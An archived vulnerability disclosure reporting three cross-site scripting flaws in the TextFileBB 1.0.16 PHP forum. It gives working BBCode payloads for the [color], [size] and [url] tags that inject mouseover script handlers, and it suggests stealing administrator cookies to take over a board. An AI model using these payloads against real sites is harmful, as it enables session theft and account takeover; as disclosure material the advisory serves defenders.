TUCoPS :: Web BBS :: etc :: b06-1935.htm

TextFileBB 1.0.16 Multiple XSS
TextFileBB 1.0.16 Multiple XSS
TextFileBB 1.0.16 Multiple XSS



TextFileBB is a flat-file based bulletin board system written in PHP.=0D
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There are 3 different XSS vulnerabilities in this software at the moment, which I found about half an hour ago =D=0D
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Anyway, the XSS lies in these tags:=0D
[color]=0D
[size]=0D
[url]=0D
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EXPLANATION:=0D
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Firstly, we'll explain [color].=0D
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[code][.color=#00'">0FFF] """xss [/color][/code]=0D
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Would give us:=0D
[code]0fff="" color="#000000"> """xss [/code]=0D
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Therefore we can see that we actually are breaking the tag and that our last part (0FFF) is stripped (funnily enough I found this by typo.)=0D
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So, we need to do:=0D
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[code][.color=#00F"onMouseOver='alert(/xss/)' x="]h0n0[/color][/code]=0D
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As this would give us:=0D
[code]h0n0[/code]=0D
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We use the #00F to start the color (so that it IS parsed [attempted to be] by the parser), and break out of that with our quote - it'll be replaced with a space. The color will be left as #000000. I added the x="" attribute because I noticed it wouldn't render in IE for some wierd reason.=0D
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NEXT: [size].=0D
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This is basically the same as [color], but tad different.=0D
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[code][.size=7" OnMouseOver="alert(/xss/)]Clicky Here [/size][/code]=0D
We break out of the size with the first quote, and then use our MouseOver - we do not close the MouseOver ourselves because the parser will enclose everything in "".=0D
Turns into: (something like)=0D
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[code]Clicky Here[/code]=0D
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LAST: [url].=0D
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I don't think the parser cares whether or not you include the http://, but I added it just as an example.=0D 
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[code][.url=http://" OnMouseOver="alert(/xss/)]hmm[/url][/code]=0D 
Same as with [size], we break out of the href and then do not add a " to the end because the parser will do it for us.=0D
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USAGE:=0D
TextFileBB stores user information in cookies, so you could steal the administrator's cookies and take over the board.=0D
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Credits: me =D=0D
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Shouts: digi7al64 - PrOtOn - Lockdown - WhiteAcid=0D
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Video @ http://dynxss.whiteacid.org/videos/TextFileBB_1.0.16-final.rar]http://dynxss.whiteacid.org/videos/TextFil....0.16-final.rar :: 8mb 

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